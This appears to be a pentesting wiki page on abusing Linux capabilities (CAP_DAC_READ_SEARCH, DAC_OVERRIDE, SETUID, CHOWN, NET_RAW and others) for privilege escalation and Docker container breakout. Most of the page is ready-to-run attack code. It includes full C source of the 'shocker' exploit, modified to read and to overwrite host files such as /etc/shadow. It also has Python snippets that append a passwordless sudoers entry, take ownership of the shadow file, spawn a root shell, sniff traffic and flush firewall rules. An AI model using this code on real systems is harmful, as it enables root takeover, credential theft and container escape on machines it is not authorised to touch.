[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\
|
||
**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.**
|
||
|
||
**Example with binary**
|
||
|
||
The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file:
|
||
|
||
```bash
|
||
cd /etc
|
||
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
|
||
cd /tmp
|
||
tar -cxf shadow.tar.gz
|
||
```
|
||
|
||
**Example with binary2**
|
||
|
||
In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do:
|
||
|
||
```python
|
||
import os
|
||
for r, d, f in os.walk('/root'):
|
||
for filename in f:
|
||
print(filename)
|
||
```
|
||
|
||
And in order to read a file you could do:
|
||
|
||
```python
|
||
print(open("/etc/shadow", "r").read())
|
||
```
|
||
|
||
**Example in Environment (Docker breakout)**
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**.
|
||
|
||
You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at(2)**_ and **could allow our process to sensitive files opened by other processes**.
|
||
|
||
The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.**
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>
|
||
#include <fcntl.h>
|
||
#include <errno.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
#include <dirent.h>
|
||
#include <stdint.h>
|
||
|
||
// gcc shocker.c -o shocker
|
||
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
|
||
|
||
struct my_file_handle {
|
||
unsigned int handle_bytes;
|
||
int handle_type;
|
||
unsigned char f_handle[8];
|
||
};
|
||
|
||
void die(const char *msg)
|
||
{
|
||
perror(msg);
|
||
exit(errno);
|
||
}
|
||
|
||
void dump_handle(const struct my_file_handle *h)
|
||
{
|
||
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
|
||
h->handle_type);
|
||
for (int i = 0; i < h->handle_bytes; ++i) {
|
||
fprintf(stderr,"0x%02x", h->f_handle[i]);
|
||
if ((i + 1) % 20 == 0)
|
||
fprintf(stderr,"\n");
|
||
if (i < h->handle_bytes - 1)
|
||
fprintf(stderr,", ");
|
||
}
|
||
fprintf(stderr,"};\n");
|
||
}
|
||
|
||
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
|
||
*oh)
|
||
{
|
||
int fd;
|
||
uint32_t ino = 0;
|
||
struct my_file_handle outh = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1
|
||
};
|
||
DIR *dir = NULL;
|
||
struct dirent *de = NULL;
|
||
path = strchr(path, '/');
|
||
// recursion stops if path has been resolved
|
||
if (!path) {
|
||
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
|
||
oh->handle_type = 1;
|
||
oh->handle_bytes = 8;
|
||
return 1;
|
||
}
|
||
|
||
++path;
|
||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
|
||
die("[-] open_by_handle_at");
|
||
if ((dir = fdopendir(fd)) == NULL)
|
||
die("[-] fdopendir");
|
||
for (;;) {
|
||
de = readdir(dir);
|
||
if (!de)
|
||
break;
|
||
fprintf(stderr, "[*] Found %s\n", de->d_name);
|
||
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
|
||
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
|
||
ino = de->d_ino;
|
||
break;
|
||
}
|
||
}
|
||
|
||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||
if (de) {
|
||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||
outh.handle_bytes = 8;
|
||
outh.handle_type = 1;
|
||
memcpy(outh.f_handle, &ino, sizeof(ino));
|
||
memcpy(outh.f_handle + 4, &i, sizeof(i));
|
||
if ((i % (1<<20)) == 0)
|
||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
|
||
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
|
||
closedir(dir);
|
||
close(fd);
|
||
dump_handle(&outh);
|
||
return find_handle(bfd, path, &outh, oh);
|
||
}
|
||
}
|
||
}
|
||
closedir(dir);
|
||
close(fd);
|
||
return 0;
|
||
}
|
||
|
||
|
||
int main(int argc,char* argv[] )
|
||
{
|
||
char buf[0x1000];
|
||
int fd1, fd2;
|
||
struct my_file_handle h;
|
||
struct my_file_handle root_h = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1,
|
||
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
|
||
};
|
||
|
||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||
|
||
read(0, buf, 1);
|
||
|
||
// get a FS reference from something mounted in from outside
|
||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||
die("[-] open");
|
||
|
||
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
|
||
die("[-] Cannot find valid handle!");
|
||
|
||
fprintf(stderr, "[!] Got a final handle!\n");
|
||
dump_handle(&h);
|
||
|
||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
|
||
die("[-] open_by_handle");
|
||
|
||
memset(buf, 0, sizeof(buf));
|
||
if (read(fd2, buf, sizeof(buf) - 1) < 0)
|
||
die("[-] read");
|
||
|
||
printf("Success!!\n");
|
||
|
||
FILE *fptr;
|
||
fptr = fopen(argv[2], "w");
|
||
fprintf(fptr,"%s", buf);
|
||
fclose(fptr);
|
||
|
||
close(fd2); close(fd1);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
|
||
{% endhint %}
|
||
|
||
 (2).png>)
|
||
|
||
**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||
|
||
## CAP\_DAC\_OVERRIDE
|
||
|
||
**This mean that you can bypass write permission checks on any file, so you can write any file.**
|
||
|
||
There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||
|
||
**Example with binary**
|
||
|
||
In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_:
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/vim = cap_dac_override+ep
|
||
|
||
vim /etc/sudoers #To overwrite it
|
||
```
|
||
|
||
**Example with binary 2**
|
||
|
||
In this example **`python`** binary will have this capability. You could use python to override any file:
|
||
|
||
```python
|
||
file=open("/etc/sudoers","a")
|
||
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
|
||
file.close()
|
||
```
|
||
|
||
**Example with environment + CAP\_DAC\_READ\_SEARCH (Docker breakout)**
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap\_dac\_read\_search) of the host and **compile** the exploit.\
|
||
Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem:
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>
|
||
#include <fcntl.h>
|
||
#include <errno.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
#include <dirent.h>
|
||
#include <stdint.h>
|
||
|
||
// gcc shocker_write.c -o shocker_write
|
||
// ./shocker_write /etc/passwd passwd
|
||
|
||
struct my_file_handle {
|
||
unsigned int handle_bytes;
|
||
int handle_type;
|
||
unsigned char f_handle[8];
|
||
};
|
||
void die(const char * msg) {
|
||
perror(msg);
|
||
exit(errno);
|
||
}
|
||
void dump_handle(const struct my_file_handle * h) {
|
||
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
|
||
h -> handle_type);
|
||
for (int i = 0; i < h -> handle_bytes; ++i) {
|
||
fprintf(stderr, "0x%02x", h -> f_handle[i]);
|
||
if ((i + 1) % 20 == 0)
|
||
fprintf(stderr, "\n");
|
||
if (i < h -> handle_bytes - 1)
|
||
fprintf(stderr, ", ");
|
||
}
|
||
fprintf(stderr, "};\n");
|
||
}
|
||
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
|
||
{
|
||
int fd;
|
||
uint32_t ino = 0;
|
||
struct my_file_handle outh = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1
|
||
};
|
||
DIR * dir = NULL;
|
||
struct dirent * de = NULL;
|
||
path = strchr(path, '/');
|
||
// recursion stops if path has been resolved
|
||
if (!path) {
|
||
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
|
||
oh -> handle_type = 1;
|
||
oh -> handle_bytes = 8;
|
||
return 1;
|
||
}
|
||
++path;
|
||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
|
||
die("[-] open_by_handle_at");
|
||
if ((dir = fdopendir(fd)) == NULL)
|
||
die("[-] fdopendir");
|
||
for (;;) {
|
||
de = readdir(dir);
|
||
if (!de)
|
||
break;
|
||
fprintf(stderr, "[*] Found %s\n", de -> d_name);
|
||
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
|
||
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
|
||
ino = de -> d_ino;
|
||
break;
|
||
}
|
||
}
|
||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||
if (de) {
|
||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||
outh.handle_bytes = 8;
|
||
outh.handle_type = 1;
|
||
memcpy(outh.f_handle, & ino, sizeof(ino));
|
||
memcpy(outh.f_handle + 4, & i, sizeof(i));
|
||
if ((i % (1 << 20)) == 0)
|
||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
|
||
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
|
||
closedir(dir);
|
||
close(fd);
|
||
dump_handle( & outh);
|
||
return find_handle(bfd, path, & outh, oh);
|
||
}
|
||
}
|
||
}
|
||
closedir(dir);
|
||
close(fd);
|
||
return 0;
|
||
}
|
||
int main(int argc, char * argv[]) {
|
||
char buf[0x1000];
|
||
int fd1, fd2;
|
||
struct my_file_handle h;
|
||
struct my_file_handle root_h = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1,
|
||
.f_handle = {
|
||
0x02,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0
|
||
}
|
||
};
|
||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||
read(0, buf, 1);
|
||
// get a FS reference from something mounted in from outside
|
||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||
die("[-] open");
|
||
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
|
||
die("[-] Cannot find valid handle!");
|
||
fprintf(stderr, "[!] Got a final handle!\n");
|
||
dump_handle( & h);
|
||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
|
||
die("[-] open_by_handle");
|
||
char * line = NULL;
|
||
size_t len = 0;
|
||
FILE * fptr;
|
||
ssize_t read;
|
||
fptr = fopen(argv[2], "r");
|
||
while ((read = getline( & line, & len, fptr)) != -1) {
|
||
write(fd2, line, read);
|
||
}
|
||
printf("Success!!\n");
|
||
close(fd2);
|
||
close(fd1);
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**.
|
||
|
||
**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||
|
||
## CAP\_CHOWN
|
||
|
||
**This means that it's possible to change the ownership of any file.**
|
||
|
||
**Example with binary**
|
||
|
||
Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges:
|
||
|
||
```bash
|
||
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
|
||
```
|
||
|
||
Or with the **`ruby`** binary having this capability:
|
||
|
||
```bash
|
||
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
|
||
```
|
||
|
||
## CAP\_FOWNER
|
||
|
||
**This means that it's possible to change the permission of any file.**
|
||
|
||
**Example with binary**
|
||
|
||
If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges:
|
||
|
||
```bash
|
||
python -c 'import os;os.chmod("/etc/shadow",0666)
|
||
```
|
||
|
||
### CAP\_SETUID
|
||
|
||
**This means that it's possible to set the effective user id of the created process.**
|
||
|
||
**Example with binary**
|
||
|
||
If python has this **capability**, you can very easily abuse it to escalate privileges to root:
|
||
|
||
```python
|
||
import os
|
||
os.setuid(0)
|
||
os.system("/bin/bash")
|
||
```
|
||
|
||
**Another way:**
|
||
|
||
```python
|
||
import os
|
||
import prctl
|
||
#add the capability to the effective set
|
||
prctl.cap_effective.setuid = True
|
||
os.setuid(0)
|
||
os.system("/bin/bash")
|
||
```
|
||
|
||
## CAP\_SETGID
|
||
|
||
**This means that it's possible to set the effective group id of the created process.**
|
||
|
||
There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||
|
||
**Example with binary**
|
||
|
||
In this case you should look for interesting files that a group can read because you can impersonate any group:
|
||
|
||
```bash
|
||
#Find every file writable by a group
|
||
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||
#Find every file writable by a group in /etc with a maxpath of 1
|
||
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||
#Find every file readable by a group in /etc with a maxpath of 1
|
||
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
|
||
```
|
||
|
||
Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with:
|
||
|
||
```python
|
||
import os
|
||
os.setgid(42)
|
||
os.system("/bin/bash")
|
||
```
|
||
|
||
In this case the group shadow was impersonated so you can read the file `/etc/shadow`:
|
||
|
||
```bash
|
||
cat /etc/shadow
|
||
```
|
||
|
||
If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket).
|
||
|
||
## CAP\_SETFCAP
|
||
|
||
**This means that it's possible to set capabilities on files and processes**
|
||
|
||
**Example with binary**
|
||
|
||
If python has this **capability**, you can very easily abuse it to escalate privileges to root:
|
||
|
||
{% code title="setcapability.py" %}
|
||
```python
|
||
import ctypes, sys
|
||
|
||
#Load needed library
|
||
#You can find which library you need to load checking the libraries of local setcap binary
|
||
# ldd /sbin/setcap
|
||
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
|
||
|
||
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
|
||
libcap.cap_from_text.restype = ctypes.c_void_p
|
||
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
|
||
|
||
#Give setuid cap to the binary
|
||
cap = 'cap_setuid+ep'
|
||
path = sys.argv[1]
|
||
print(path)
|
||
cap_t = libcap.cap_from_text(cap)
|
||
status = libcap.cap_set_file(path,cap_t)
|
||
|
||
if(status == 0):
|
||
print (cap + " was successfully added to " + path)
|
||
```
|
||
{% endcode %}
|
||
|
||
```bash
|
||
python setcapability.py /usr/bin/python2.7
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap.
|
||
{% endhint %}
|
||
|
||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges.
|
||
|
||
**Example with environment (Docker breakout)**
|
||
|
||
By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like:
|
||
|
||
```bash
|
||
cat /proc/`pidof bash`/status | grep Cap
|
||
CapInh: 00000000a80425fb
|
||
CapPrm: 00000000a80425fb
|
||
CapEff: 00000000a80425fb
|
||
CapBnd: 00000000a80425fb
|
||
CapAmb: 0000000000000000
|
||
|
||
apsh --decode=00000000a80425fb
|
||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
```
|
||
|
||
This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\
|
||
However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**:
|
||
|
||
```bash
|
||
getcap /usr/bin/gdb
|
||
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
|
||
|
||
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||
|
||
/usr/bin/gdb
|
||
bash: /usr/bin/gdb: Operation not permitted
|
||
```
|
||
|
||
After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
|
||
It looks like the Permitted capabilities limit the ones that can be used.\
|
||
However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
|
||
However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
|
||
It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**.
|
||
|
||
## CAP\_SYS\_RAWIO
|
||
|
||
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`.
|
||
|
||
This can be useful for **privilege escalation** and **Docker breakout.**
|
||
|
||
## CAP\_KILL
|
||
|
||
**This means that it's possible to kill any process.**
|
||
|
||
**Example with binary**
|
||
|
||
Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.
|
||
|
||
```python
|
||
#Use this python code to kill arbitrary processes
|
||
import os
|
||
import signal
|
||
pgid = os.getpgid(341)
|
||
os.killpg(pgid, signal.SIGKILL)
|
||
```
|
||
|
||
**Privesc with kill**
|
||
|
||
If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect.
|
||
|
||
```bash
|
||
kill -s SIGUSR1 <nodejs-ps>
|
||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||
```
|
||
|
||
{% content-ref url="electron-cef-chromium-debugger-abuse.md" %}
|
||
[electron-cef-chromium-debugger-abuse.md](electron-cef-chromium-debugger-abuse.md)
|
||
{% endcontent-ref %}
|
||
|
||
## CAP\_NET\_BIND\_SERVICE
|
||
|
||
**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability.
|
||
|
||
**Example with binary**
|
||
|
||
If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)
|
||
|
||
{% tabs %}
|
||
{% tab title="Listen" %}
|
||
```python
|
||
import socket
|
||
s=socket.socket()
|
||
s.bind(('0.0.0.0', 80))
|
||
s.listen(1)
|
||
conn, addr = s.accept()
|
||
while True:
|
||
output = connection.recv(1024).strip();
|
||
print(output)
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Connect" %}
|
||
```python
|
||
import socket
|
||
s=socket.socket()
|
||
s.bind(('0.0.0.0',500))
|
||
s.connect(('10.10.10.10',500))
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
## CAP\_NET\_RAW
|
||
|
||
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container.
|
||
|
||
**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability.
|
||
|
||
**Example with binary**
|
||
|
||
If the binary **`tcpdump`** has this capability you will be able to use it to capture network information.
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/sbin/tcpdump = cap_net_raw+ep
|
||
```
|
||
|
||
Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic.
|
||
|
||
**Example with binary 2**
|
||
|
||
The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET\_BIND + NET\_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||
|
||
```python
|
||
import socket
|
||
import struct
|
||
|
||
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
|
||
|
||
def getFlag(flag_value):
|
||
flag=""
|
||
for i in xrange(8,-1,-1):
|
||
if( flag_value & 1 <<i ):
|
||
flag= flag + flags[8-i] + ","
|
||
return flag[:-1]
|
||
|
||
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
|
||
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
|
||
s.bind(("lo",0x0003))
|
||
|
||
flag=""
|
||
count=0
|
||
while True:
|
||
frame=s.recv(4096)
|
||
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
|
||
proto=ip_header[6]
|
||
ip_header_size = (ip_header[0] & 0b1111) * 4
|
||
if(proto==6):
|
||
protocol="TCP"
|
||
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
|
||
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
|
||
dst_port=tcp_header[0]
|
||
src_port=tcp_header[1]
|
||
flag=" FLAGS: "+getFlag(tcp_header[4])
|
||
|
||
elif(proto==17):
|
||
protocol="UDP"
|
||
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
|
||
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
|
||
dst_port=udp_header[0]
|
||
src_port=udp_header[1]
|
||
|
||
if (proto == 17 or proto == 6):
|
||
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
|
||
count=count+1
|
||
```
|
||
|
||
## CAP\_NET\_ADMIN + CAP\_NET\_RAW
|
||
|
||
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces.
|
||
|
||
**Example with binary**
|
||
|
||
Lets suppose that the **python binary** has these capabilities.
|
||
|
||
```python
|
||
#Dump iptables filter table rules
|
||
import iptc
|
||
import pprint
|
||
json=iptc.easy.dump_table('filter',ipv6=False)
|
||
pprint.pprint(json)
|
||
|
||
#Flush iptables filter table
|
||
import iptc
|
||
iptc.easy.flush_table('filter')
|
||
```
|
||
|
||
## CAP\_LINUX\_IMMUTABLE
|
||
|
||
**This means that it's possible modify inode attributes.** You cannot escalate privileges directly with this capability.
|
||
|
||
**Example with binary**
|
||
|
||
If you find that a file is immutable and python has this capability, you can **remove the immutable attribute and make the file modifiable:**
|
||
|
||
```python
|
||
#Check that the file is imutable
|
||
lsattr file.sh
|
||
----i---------e--- backup.sh
|
||
```
|
||
|
||
```python
|
||
#Pyhton code to allow modifications to the file
|
||
import fcntl
|
||
import os
|
||
import struct
|
||
|
||
FS_APPEND_FL = 0x00000020
|
||
FS_IOC_SETFLAGS = 0x40086602
|
||
|
||
fd = os.open('/path/to/file.sh', os.O_RDONLY)
|
||
f = struct.pack('i', FS_APPEND_FL)
|
||
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
|
||
|
||
f=open("/path/to/file.sh",'a+')
|
||
f.write('New content for the file\n')
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
Note that usually this immutable attribute is set and remove using:
|
||
|
||
```bash
|
||
sudo chattr +i file.txt
|
||
sudo chattr -i file.txt
|
||
```
|
||
{% endhint %}
|
||
|
||
## CAP\_SYS\_CHROOT
|
||
|
||
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes:
|
||
|
||
* [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
|
||
* [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/)
|
||
|
||
## CAP\_SYS\_BOOT
|
||
|
||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms.
|
||
|
||
